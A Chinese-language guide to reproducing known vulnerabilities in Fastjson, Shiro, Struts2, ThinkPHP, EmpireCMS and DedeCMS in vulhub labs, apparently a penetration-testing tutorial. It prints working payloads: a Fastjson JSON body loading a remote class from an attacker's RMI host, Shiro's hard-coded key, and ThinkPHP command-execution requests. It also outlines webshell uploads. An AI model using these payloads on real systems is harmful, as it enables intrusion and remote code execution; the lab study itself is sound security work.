框架漏洞
字数 1650 2025-08-10 08:54:06

框架漏洞与常见CMS漏洞复现指南

一、框架漏洞概述

1. 框架漏洞(Framework Vulnerabilities)与中间件漏洞(Middleware Vulnerabilities)对比

相同点

  • 都源于第三方组件
  • 都可能导致应用程序安全问题

不同点

  • 范围:框架漏洞在开发框架中发现,中间件漏洞在依赖的中间件组件中发现
  • 影响范围:框架漏洞影响整个应用,中间件漏洞影响特定组件
  • 解决方法:框架漏洞需升级框架,中间件漏洞需升级中间件或配置

二、Fastjson反序列化RCE漏洞(CVE-2017-18349)

1. 漏洞简介

  • Fastjson是阿里巴巴的JSON解析库
  • 漏洞版本:fastjson <= 1.2.24
  • 利用autoType功能实例化恶意类

2. 漏洞原理

  • 通过控制JNDI客户端传入的URL,加载恶意RMI服务
  • 利用References类的className和codebase url加载远程恶意类

3. 复现步骤

靶机环境

apt-get update
sudo apt-get install docker.io docker-compose
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

攻击机环境

  1. 配置Java 1.8.0_20环境
  2. 编写恶意类Exp.java
  3. 开启HTTP服务
  4. 使用marshalsec启动RMI服务器

利用过程

  1. 发送恶意POST请求:
{
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://攻击机IP:9999/Exp",
    "autoCommit":true
  }
}

三、Shiro-550反序列化漏洞(CVE-2016-4437)

1. 漏洞原理

  • Shiro的RememberMe功能使用AES加密用户信息
  • 默认密钥kPH+bIxk5D2deZiIxcaaaA==被硬编码
  • 攻击者可构造恶意RememberMe Cookie执行RCE

2. 漏洞验证

  • 在Cookie中添加rememberMe=1
  • 返回包中有rememberMe=deleteMe则存在漏洞

3. 复现步骤

  1. 搭建vulhub环境
  2. 使用shiro_attack工具探测和利用
  3. 通过工具执行命令

四、Struts2漏洞

1. S2-052反序列化漏洞(CVE-2017-9805)

  • 影响版本:Struts 2.1.2-2.3.33, 2.5-2.5.12
  • 通过修改Content-Type为application/xml传递恶意XML

利用方法

  1. 发送恶意XML请求
  2. 修改Content-Type头

2. S2-048 Content-Type注入漏洞(CVE-2017-9791)

  • 在Content-Type头部注入OGNL表达式
  • 影响Struts2-struts1-plugin插件

利用方法

  1. 在表单中提交OGNL表达式
  2. 执行任意命令

五、ThinkPHP漏洞

1. ThinkPHP5.0.23远程代码执行

  • 影响版本:5.x < 5.1.31, <= 5.0.23
  • 通过_method=__construct构造利用链

利用方法

POST /index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

2. ThinkPHP5.0.22/5.1.29远程代码执行

  • 通过控制器名注入执行任意方法

利用方法

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

六、帝国CMS漏洞

1. 后台代码注入

  1. 导入系统模型时插入恶意代码
  2. 访问生成的文件执行代码

2. CVE-2018-18086

  • LoadInMod函数文件上传漏洞
  • 影响版本:<=7.5

3. CVE-2018-19462

  • 后台SQL注入漏洞
  • 通过执行SQL语句getshell

七、织梦CMS漏洞

1. DedeCMS v5.8.1未授权RCE

  • 通过flink.php的Referer字段注入代码

利用方法

  1. 修改Referer为恶意代码
  2. 访问触发页面

2. 后台文件上传漏洞

  1. 上传图片马
  2. 通过include包含执行
  3. 上传文件上传页面
  4. 绕过限制上传webshell

总结

本文详细介绍了多种框架和CMS的漏洞原理及复现方法,包括Fastjson、Shiro、Struts2、ThinkPHP、帝国CMS和织梦CMS等。在实际渗透测试中,应根据目标系统版本选择对应的漏洞利用方式,同时注意漏洞利用可能对系统造成的影响。防御方面,建议及时升级到最新版本,禁用不必要的功能,并加强输入验证和过滤。

框架漏洞与常见CMS漏洞复现指南 一、框架漏洞概述 1. 框架漏洞(Framework Vulnerabilities)与中间件漏洞(Middleware Vulnerabilities)对比 相同点 : 都源于第三方组件 都可能导致应用程序安全问题 不同点 : 范围 :框架漏洞在开发框架中发现,中间件漏洞在依赖的中间件组件中发现 影响范围 :框架漏洞影响整个应用,中间件漏洞影响特定组件 解决方法 :框架漏洞需升级框架,中间件漏洞需升级中间件或配置 二、Fastjson反序列化RCE漏洞(CVE-2017-18349) 1. 漏洞简介 Fastjson是阿里巴巴的JSON解析库 漏洞版本:fastjson <= 1.2.24 利用autoType功能实例化恶意类 2. 漏洞原理 通过控制JNDI客户端传入的URL,加载恶意RMI服务 利用References类的className和codebase url加载远程恶意类 3. 复现步骤 靶机环境 : 攻击机环境 : 配置Java 1.8.0_ 20环境 编写恶意类Exp.java 开启HTTP服务 使用marshalsec启动RMI服务器 利用过程 : 发送恶意POST请求: 三、Shiro-550反序列化漏洞(CVE-2016-4437) 1. 漏洞原理 Shiro的RememberMe功能使用AES加密用户信息 默认密钥kPH+bIxk5D2deZiIxcaaaA==被硬编码 攻击者可构造恶意RememberMe Cookie执行RCE 2. 漏洞验证 在Cookie中添加rememberMe=1 返回包中有rememberMe=deleteMe则存在漏洞 3. 复现步骤 搭建vulhub环境 使用shiro_ attack工具探测和利用 通过工具执行命令 四、Struts2漏洞 1. S2-052反序列化漏洞(CVE-2017-9805) 影响版本:Struts 2.1.2-2.3.33, 2.5-2.5.12 通过修改Content-Type为application/xml传递恶意XML 利用方法 : 发送恶意XML请求 修改Content-Type头 2. S2-048 Content-Type注入漏洞(CVE-2017-9791) 在Content-Type头部注入OGNL表达式 影响Struts2-struts1-plugin插件 利用方法 : 在表单中提交OGNL表达式 执行任意命令 五、ThinkPHP漏洞 1. ThinkPHP5.0.23远程代码执行 影响版本:5.x < 5.1.31, <= 5.0.23 通过_ method=__ construct构造利用链 利用方法 : 2. ThinkPHP5.0.22/5.1.29远程代码执行 通过控制器名注入执行任意方法 利用方法 : 六、帝国CMS漏洞 1. 后台代码注入 导入系统模型时插入恶意代码 访问生成的文件执行代码 2. CVE-2018-18086 LoadInMod函数文件上传漏洞 影响版本: <=7.5 3. CVE-2018-19462 后台SQL注入漏洞 通过执行SQL语句getshell 七、织梦CMS漏洞 1. DedeCMS v5.8.1未授权RCE 通过flink.php的Referer字段注入代码 利用方法 : 修改Referer为恶意代码 访问触发页面 2. 后台文件上传漏洞 上传图片马 通过include包含执行 或 上传文件上传页面 绕过限制上传webshell 总结 本文详细介绍了多种框架和CMS的漏洞原理及复现方法,包括Fastjson、Shiro、Struts2、ThinkPHP、帝国CMS和织梦CMS等。在实际渗透测试中,应根据目标系统版本选择对应的漏洞利用方式,同时注意漏洞利用可能对系统造成的影响。防御方面,建议及时升级到最新版本,禁用不必要的功能,并加强输入验证和过滤。